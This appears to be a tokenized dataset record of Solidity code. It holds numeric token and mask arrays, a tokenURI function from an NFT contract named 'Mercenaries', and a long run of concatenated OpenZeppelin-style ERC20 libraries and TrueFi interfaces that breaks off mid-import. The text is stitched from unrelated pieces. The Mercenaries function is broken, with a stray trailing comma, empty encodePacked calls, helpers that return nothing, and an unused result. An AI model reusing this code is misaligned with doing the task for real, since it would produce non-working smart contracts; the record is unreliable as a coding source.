[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 677, 74, 2135, 2173, 1768, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/421613/0x78aff6a8881AaFbf7eEa5400e104722c3a201f53/sources/project_/contracts/mercenaries/Mercenaries.sol
@dev Return the token onchain metadata @param tokenID Identifies the asset
function tokenURI(uint256 tokenID) public view virtual override(ERC721) onlyExists(tokenID) returns (string memory uri) { (address collectionAddress,uint256 wrappedTokenID,) = getWrappedTokenDetails(tokenID); if (collectionAddress == address(this)) { bytes32 wrappedTokenHash = hashWrappedToken(collectionAddress, wrappedTokenID); uint256 level = getLevel(tokenID); string memory _url = ERC721.tokenURI(tokenID); string memory url = string(abi.encodePacked(_url,".png")); string memory mercenaryName = string(abi.encodePacked("Mercenary #",Strings.toString(tokenID))); string memory json1 = string(abi.encodePacked( '{', '"name": "', mercenaryName, '",', '"description": "Mercenaries are available to hire for various activities",', '"image": "', url, '",', '"seller_fee_basis_points": 100,', '"fee_recipient": "0xC74956f14b1C0F5057404A8A26D3074924545dF8",', '"attributes": [', )); string memory output = Base64.encode(abi.encodePacked(json1, encodeTraits(tokenID), encodeStats(wrappedTokenHash))); return IERC721Metadata(collectionAddress).tokenURI(wrappedTokenID); } } function encodeTraits(uint256 tokenID) internal view returns (string memory) { bytes16[] memory traits = visualTraits[tokenID]; string memory json1 = string(abi.encodePacked( )); string memory json2 = string(abi.encodePacked( )); } function encodeStats(bytes32 wrappedTokenHash) internal view returns (string memory) { uint16[] memory stat = stats[wrappedTokenHash]; string memory json1 = string(abi.encodePacked( )); string memory json2 = string(abi.encodePacked( ']', '}' )); }
11,575,148
[ 1, 990, 326, 1147, 603, 5639, 1982, 225, 1147, 734, 13128, 5032, 326, 3310, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1147, 3098, 12, 11890, 5034, 1147, 734, 13, 203, 3639, 1071, 203, 3639, 1476, 203, 3639, 5024, 203, 3639, 3849, 12, 654, 39, 27, 5340, 13, 203, 3639, 1338, 4002, 12, 2316, 734, 13, 203, 3639, 1135, 261, 1080, 3778, 2003, 13, 7010, 565, 288, 203, 3639, 261, 2867, 1849, 1887, 16, 11890, 5034, 5805, 1345, 734, 16, 13, 273, 336, 17665, 1345, 3790, 12, 2316, 734, 1769, 203, 3639, 309, 261, 5548, 1887, 422, 1758, 12, 2211, 3719, 288, 203, 5411, 1731, 1578, 5805, 1345, 2310, 273, 1651, 17665, 1345, 12, 5548, 1887, 16, 5805, 1345, 734, 1769, 203, 5411, 2254, 5034, 1801, 273, 17236, 12, 2316, 734, 1769, 203, 5411, 533, 3778, 389, 718, 273, 4232, 39, 27, 5340, 18, 2316, 3098, 12, 2316, 734, 1769, 203, 5411, 533, 3778, 880, 273, 533, 12, 21457, 18, 3015, 4420, 329, 24899, 718, 16, 9654, 6446, 7923, 1769, 203, 5411, 533, 3778, 4045, 71, 275, 814, 461, 273, 533, 12, 21457, 18, 3015, 4420, 329, 2932, 8478, 71, 275, 814, 468, 3113, 7957, 18, 10492, 12, 2316, 734, 3719, 1769, 203, 5411, 533, 3778, 1163, 21, 273, 533, 12, 21457, 18, 3015, 4420, 329, 12, 203, 7734, 2292, 2187, 203, 7734, 2119, 529, 6877, 14912, 4045, 71, 275, 814, 461, 16, 19197, 2187, 203, 7734, 2119, 3384, 6877, 315, 8478, 71, 275, 5646, 854, 2319, 358, 366, 577, 364, 11191, 17259, 3113, 2187, 203, 7734, 2119, 2730, 6877, 14912, 880, 16, 19197, 2187, 203, 7734, 2119, 1786, 749, 67, 21386, 67, 23774, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "IERC20.sol"; import "SafeMath.sol"; import "Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Copied from https://github.com/OpenZeppelin/openzeppelin-contracts-ethereum-package/blob/v3.0.0/contracts/Initializable.sol // Added public isInitialized() view of private initialized bool. // SPDX-License-Identifier: MIT pragma solidity 0.6.10; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } /** * @dev Return true if and only if the contract has been initialized * @return whether the contract has been initialized */ function isInitialized() public view returns (bool) { return initialized; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {Address} from "Address.sol"; import {Context} from "Context.sol"; import {IERC20} from "IERC20.sol"; import {SafeMath} from "SafeMath.sol"; import {Initializable} from "Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Initializable, Context, IERC20 { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_initialize(string memory name, string memory symbol) internal initializer { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public virtual view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public override view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public override view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public virtual override view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero") ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function updateNameAndSymbol(string memory __name, string memory __symbol) internal { _name = __name; _symbol = __symbol; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {ITrueFiPool2} from "ITrueFiPool2.sol"; import {ILoanToken2} from "ILoanToken2.sol"; interface ITrueLender2 { // @dev calculate overall value of the pools function value(ITrueFiPool2 pool) external view returns (uint256); // @dev distribute a basket of tokens for exiting user function distribute( address recipient, uint256 numerator, uint256 denominator ) external; function transferAllLoanTokens(ILoanToken2 loan, address recipient) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {IERC20} from "IERC20.sol"; interface IERC20WithDecimals is IERC20 { function decimals() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {IERC20WithDecimals} from "IERC20WithDecimals.sol"; /** * @dev Oracle that converts any token to and from TRU * Used for liquidations and valuing of liquidated TRU in the pool */ interface ITrueFiPoolOracle { // token address function token() external view returns (IERC20WithDecimals); // amount of tokens 1 TRU is worth function truToToken(uint256 truAmount) external view returns (uint256); // amount of TRU 1 token is worth function tokenToTru(uint256 tokenAmount) external view returns (uint256); // USD price of token with 18 decimals function tokenToUsd(uint256 tokenAmount) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; pragma experimental ABIEncoderV2; interface I1Inch3 { struct SwapDescription { address srcToken; address dstToken; address srcReceiver; address dstReceiver; uint256 amount; uint256 minReturnAmount; uint256 flags; bytes permit; } function swap( address caller, SwapDescription calldata desc, bytes calldata data ) external returns ( uint256 returnAmount, uint256 gasLeft, uint256 chiSpent ); function unoswap( address srcToken, uint256 amount, uint256 minReturn, bytes32[] calldata /* pools */ ) external payable returns (uint256 returnAmount); } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {IERC20} from "IERC20.sol"; import {ILoanToken2} from "ILoanToken2.sol"; interface IDeficiencyToken is IERC20 { function loan() external view returns (ILoanToken2); function burnFrom(address account, uint256 amount) external; function version() external pure returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {IDeficiencyToken} from "IDeficiencyToken.sol"; import 